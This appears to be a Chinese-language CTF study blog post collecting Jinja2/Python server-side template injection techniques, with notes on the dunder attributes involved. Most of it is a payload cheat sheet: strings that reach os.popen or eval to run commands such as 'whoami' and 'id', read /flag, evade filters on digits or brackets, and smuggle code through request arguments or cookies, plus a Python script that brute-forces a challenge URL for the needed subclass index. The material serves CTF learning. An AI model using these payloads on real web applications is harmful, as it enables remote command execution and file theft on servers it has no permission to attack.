CTF知识集-SSTI(Python模板注入)

写在开头可能会用到的提示

方法总结

  • [].__class__.__bases__[0].__subclasses__()[找到__os._wrap_close下标].__init__.__globals__['popen']('whoami').read()
    //基本解
  • lipsum.__globals__.get('os').popen('whoami').read()
    //姿势+1
  • {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
    //任意命令执行
  • {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
    //任意命令执行
  • {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
    //任意命令执行
  • {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
    // 仅读文件
  • s.__init__.__globals__['__builtins__'].eval('__import__("os").popen("whoami").read()')
    //无数字
  • s.__init__.__globals__.__getitem__('__builtins__').eval('__import__("os").popen("whoami").read()')
    //无中括号

  • s.__init__.__globals__[request.args.p1].eval(request.args.p2)&p1=__builtins__&p2=__import__('os').popen('whoami').read()
    //把参数给逃逸出去
  • s.__init__.__globals__[request.args.k1].eval(request.args.k2),然后cookie传值k1: builtins k2:__import__('os').popen('id').read()
    //把参数逃逸到cookie
  • s.__init__.__globals__['xxx'] ←相等→ s.__init__.__globals__.__getitem__('xxxx')
  • ().__class__代替的方法

    ()["__class__"]
    ()|attr("__class__")
    ().__getattribute__("__class__")

  • {{}}使用不了可以用 {% print() %}代替
  • request.value.a 可以用get或者post传参a
  • request.cookies.a 可以用cookie传参a
  • request.args.a 可以用get传参a

原理文章

https://blog.csdn.net/qq_38154820/article/details/111399386
https://xz.aliyun.com/t/3679
https://blog.csdn.net/miuzzx/article/details/110220425

自己记录

常用

{%  %}  //表示声明变量,可以用于循环和条件语句
{{ }}   //用于表达式打印到模板输出
{# #}   //表示注释
##      //与{% %} 效果相同

__class__
//用于返回对象所属的类
__base__
//以字符串的形式返回一个类所继承的类
__bases__
//以元组的形式返回一个类所继承的类
__mro__
//返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
__subclasses__()
//获取类的所有子类
__init__
//所有自带带类都包含init方法,常用他当跳板来调用globals
__globals__
//会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用+

过程例子

[].__class__.__bases__[0].__subclasses__()
//获取全局的模块,然后要找到 os._wrap_close 模块

import requests

x = 0
for i in range(0, 500):
    search = 'os.'
    url = "http://af7fe69b-a500-4c0e-b126-dd56881a42a3.challenge.ctf.show/?name={{''.__class__.__bases__[0].__subclasses__()[%s]}}" % (
        i)
    html = requests.get(url)
    if search in html.text:
        print(i)
        break

//使用这个脚本,找到__os._wrap_close,找到顺序下标,然后使用"".__class__.__bases[0]__.__subclasses()[下标]

[].__class__.__bases[0]__.__subclasses()[下标].__init__.__globals__['popen']('命令').read()
//执行命令

例子

().__class__.__bases__[0].__subclassess__()[xx].__init__.__globals__['popen']('whoami').read()

解读: 用__class__获取内置的所有类,使用__bases__[0]拿到基类,然后用__subclasses__()[128]拿到popen方法,然后调用__init__方法进行初始化类,然后用__globals__获取到方法内以字典的形式返回的方法、属性等值,然后使用popen方法来执行命令

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇